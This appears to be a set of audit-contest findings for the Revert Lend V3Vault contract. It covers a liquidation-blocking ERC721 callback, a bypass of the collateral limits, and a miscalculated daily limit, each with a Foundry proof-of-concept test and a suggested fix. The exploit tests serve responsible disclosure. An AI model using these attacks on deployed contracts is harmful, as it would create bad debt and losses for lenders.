Revert Lend - Arz's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083

Vulnerability details

When a position is being liquidated and after the debt gets repayed the Uniswap position NFT is being sent back to the owner of the loan.

As you can see in _cleanupLoan() the function being used is safeTransferFrom which calls a ERC721 callback function on the recipient contract.

nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);

This can be abused by an attacker to make the whole liquidate function revert because of the callback function that gets executed when the position is being sent back to the owner.

Impact

The attacker can create positions that no one will be able to liquidate once they become undercollateralized because of the malicious onERC721Received() callback. This will generate bad debt and will lead to losses for the lenders/protocol.

Proof of Concept

Add this to V3Vault.t.sol. As you can see we are making the ERC721 callback revert which will make the whole liquidation revert once the position is transferred to the malicious contract.

contract AttackerContract {
    function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
        revert();
    }
    
}



function testLiquidationAttack() external {
        _deposit(10000000, WHALE_ACCOUNT);
        
        //Create malicious contract 
        AttackerContract attacker = new AttackerContract();

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vault.create(TEST_NFT, address(attacker));

        changePrank(address(attacker));
        (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        vault.borrow(TEST_NFT, collateralValue);
        vm.stopPrank();

        vm.warp(block.timestamp + 7 days);

        (address token0, address token1,,,,,,) = oracle.getPositionBreakdown(TEST_NFT);

        FlashloanLiquidator liquidator = new FlashloanLiquidator(NPM, EX0x, UNIVERSAL_ROUTER);

        uint256 amount0 = 381693758226627942;

        bytes[] memory inputs = new bytes[](2);
        inputs[0] = abi.encode(address(liquidator), amount0, 0, abi.encodePacked(token0, uint24(500), token1), false);
        inputs[1] = abi.encode(token0, address(liquidator), 0);
        bytes memory swapData0 =
            abi.encode(UNIVERSAL_ROUTER, abi.encode(Swapper.UniversalRouterData(hex"0004", inputs, block.timestamp)));

        (uint256 debtShares) = vault.loans(TEST_NFT);

        liquidator.liquidate(
            FlashloanLiquidator.LiquidateParams(
                TEST_NFT, debtShares, vault, IUniswapV3Pool(UNISWAP_DAI_USDC), amount0, swapData0, 0, "", 356028
            )
        );
    }

Tools Used

Foundry

Recommended Mitigation Steps

Dont use safeTransferFrom for liquidations or allow the owner to claim the position NFT later.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1227-L1241

Vulnerability details

The collateral value limit factor checks in _updateAndCheckCollateral() are used to check if the current value of used collateral is more than the allowed limit. The problem here is that these checks are not done when withdrawing lent tokens so an attacker can easily bypass these checks.

Example:

1. The collateral value limit factor is set to 90% for both collateral tokens.
2. The lent amount is 100 USDC and alice has borrowed 90 USDC
3. An attacker wants to borrow the remaining 10 USDC but he cant because of the checks
4. He executes an attack in 1 transaction - he supplies 10 USDC, borrows 10 USDC and then withdraws the 10 USDC that he lent
5. The amount borrowed is 100 USDC even though the collateral factor is 90%

The attacker can do this to bypass the checks, this can also block calls from the AutoRange automator because whenever a new position is sent _updateAndCheckCollateral() is called which will revert because the attacker surpassed the limits.

Impact

The attacker can easily surpass the limits, this can also make calls from AutoRange revert because _updateAndCheckCollateral() is called when the position is replaced and it will revert because the limits were surpassed. So the automator will fail to change the range of the positions.

Proof of Concept

Add this to V3Vault.t.sol, as you can see the limits were surpassed.

function testCollateralValueLimit() external {
        _setupBasicLoan(false);

        //set collateral value limit to 90%
        vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), uint32(Q32 * 9 / 10));

        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, 8e6);

        //10 USDC were lent and 2 USDC were borrowed
        //Attacker can only borrow 1 USDC because of the collateral value limit

        //What he does is supplies 2 USDC, borrows 2 USDC and then withdraws what he lent
        _deposit(2e6, TEST_NFT_ACCOUNT_2);
        _createAndBorrow(TEST_NFT_2, TEST_NFT_ACCOUNT_2, 2e6);

        vm.prank(TEST_NFT_ACCOUNT_2);
        vault.withdraw(2e6, TEST_NFT_ACCOUNT_2, TEST_NFT_ACCOUNT_2);

        (,,uint192 totalDebtShares) = vault.tokenConfigs(address(DAI));
        console.log("The total amount of shares lent:", vault.totalSupply());
        console.log("The total amount of shares borrowed:", totalDebtShares);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Not sure how this should be fixed as the collateral tokens are configured separately and the collateral factors can differ, however maybe preventing depositing and withdrawing in the same tx/small fee can help this.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1251 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1263

Vulnerability details

As mentioned in the whitepaper(7.3), the increase in the total value of loans and the lent amount within a 24-hour period can only be max 10%. However, the calculation in _resetDailyLendIncreaseLimit() and _resetDailyDebtIncreaseLimit() is wrong which makes the dailyLendIncreaseLimitLeft and dailyDebtIncreaseLimitLeft 110% instead of 10%.

uint256 lendIncreaseLimit = _convertToAssets(totalSupply(),newLendExchangeRateX96, Math.Rounding.Up)
                * (Q32 + MAX_DAILY_LEND_INCREASE_X32) / Q32;

As you can see in both functions the calculation is: totalLentAmount * (Q32 + Q32 / 10) / Q36 which makes the increase limit left 110% of the total amount lent.

This will make the max daily debt increase checks useless as anyone can borrow or lend 110% of the total lent amount and not 10%.

Impact

The increase limits will become useless and in case of a scenario where a malicious actor discovers a vulnerability he will be able to drain everything because the 10% limit check as described in the whitepaper will not work.

Proof of Concept

Add this to V3Vault.t.sol

function testWrongLimits() external {
        vault.setLimits(1000000, 1000e6, 1000e6, 100e6, 100e6);
        uint256 amount = 100e6;
        
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), amount);
        vault.deposit(amount, WHALE_ACCOUNT);
        vm.stopPrank();

        //Forcing the limits to be updated
        vault.setLimits(1000000, 1000e6, 1000e6, 100e6, 100e6);

        //110% instead of 10%
        console.log("The USDC balance in the vault:", USDC.balanceOf(address(vault)) / 1e6);
        console.log("The daily lend increase limit is %s USDC", (vault.dailyLendIncreaseLimitLeft() + 1) / 1e6);
        console.log("The daily debt increase limit is %s USDC", (vault.dailyDebtIncreaseLimitLeft() + 1) / 1e6); 
    }

Tools Used

Foundry

Recommended Mitigation Steps

Do not add Q32 to MAX_DAILY_LEND_INCREASE_X32 and MAX_DAILY_DEBT_INCREASE_X32

Assessed type

Math